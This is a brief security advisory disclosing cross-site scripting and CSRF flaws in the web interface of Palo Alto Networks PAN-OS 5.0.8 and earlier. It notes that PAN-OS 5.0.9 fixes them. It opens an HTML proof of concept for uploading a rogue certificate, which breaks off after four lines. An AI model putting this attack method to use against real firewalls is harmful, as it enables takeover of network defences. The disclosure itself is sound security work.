Palo Alto Networks Pan-OS 5.0.8 - Multiple Vulnerabilities

from http://thomaspollet.blogspot.be/2013/11/Palo-Alto-XSS.html
 :

A couple of bugs exist in Palo Alto Networks PANOS <= 5.0.8 which can
be exploited to conduct cross-site scripting attacks.

   - Certificate fields are displayed in the firewall web interface without
   proper sanitization applied to them. This way it is possible to inject html
   into the web interface.
   - Various file upload forms used by the firewall do not implement proper
   CSRF protection. import.certificate.php for example.

These issues have been fixed in PANOS 5.0.9 .

Example html source code to CSRF POST a rogue cert :



   1. PA: <input type="text" id="url" value="https://10.10.10.22">
   2. <input type=button onclick="upload()" value="Upload Certificate"/>
   3. <hr>
   4. <textarea rows=80 cols=80 id=text>
